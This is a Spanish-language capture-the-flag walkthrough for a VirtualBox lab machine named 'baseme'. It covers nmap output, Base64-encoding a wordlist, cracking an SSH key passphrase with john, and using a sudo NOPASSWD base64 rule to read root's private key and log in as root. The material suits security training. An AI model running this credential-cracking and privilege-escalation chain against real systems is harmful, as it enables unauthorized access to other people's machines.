Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 03:12 EDT
Nmap scan report for 192.168.1.180
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 ca:09:80:f7:3a:da:5a:b6:19:d9:5c:41:47:43:d4:10 (RSA)
| 256 d0:75:48:48:b8:26:59:37:64:3b:25:7f:20:10:f8:70 (ECDSA)
|_ 256 91:14:f7:93:0b:06:25:cb:e0:a5:30:e8:d3:d3:37:2b (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:AE:6E:9E (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.53 seconds
Veremos que hay un puerto 80 abierto, por lo que vamos a entrar en el a ver que vemos, entrando a dicha pagina web, veremos esto simplemente:
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas
Vemos que nos esta diciendo que todo esta en Base64 incluida la contraseña del usuario, en este caso el usuario que tenemos es lucas pero vamos a probar a realizar un poco de fuzzing, en este caso como todo tiene que ir en Base64 vamos a codificar la lista de palabra en Base64:
Gobuster (Base64)
while read line; do echo "$line" | base64 >> wordlist_base64.txt; done < <WORDLIST>
while read line; do echo "$line" | base64 >> list_code.txt; done < list.txt
Ahora vamos a pasarle al lista codificada a john.
john --wordlist=list_code.txt hash.id_rsa
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
aWxvdmV5b3UK (id_rsa)
1g 0:00:00:00 DONE (2025-04-21 03:40) 2.564g/s 15.38p/s 15.38c/s 15.38C/s aWxvdmV5b3UK..dGhleWhhdGVzbWUK
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que ha funcionado, por lo que vamos a probar a meter dicha contraseña en Base64 directamente.
SSH
ssh -i id_rsa lucas@<IP>
Metemos como contraseña aWxvdmV5b3UK y veremos que estamos dentro, por lo que leeremos la flag del usuario.
Matching Defaults entries for lucas on baseme:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lucas may run the following commands on baseme:
(ALL) NOPASSWD: /usr/bin/base64
Veremos que podremos ejecutar Base64 como el usuario root, con esto lo que podremos hacer sera leer archivos del sistema sin ningun tipo de restriccion, por lo que vamos a probar a intentar leer la id_rsa de root si la tuviera, a ver si hay suerte.
Y vemos que funciona, por lo que nos vamos a conectar por SSH mediante la id_rsa de root.
nano id_rsa
#Dentro del nano
<ID_RSA_ROOT>
Lo guardamos y le establecemos los permisos necesarios para que se comporte como una id_rsa real.
chmod 600 id_rsa
Ahora nos conectamos por SSH mediante el usuario root pasandole como parametro dicha id_rsa.
ssh -i id_rsa root@<IP>
Info:
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 28 12:47:13 2020 from 192.168.1.59
root@baseme:~# whoami
root
Con esto ya seremos el usuario root, por lo que leeremos la flag de root.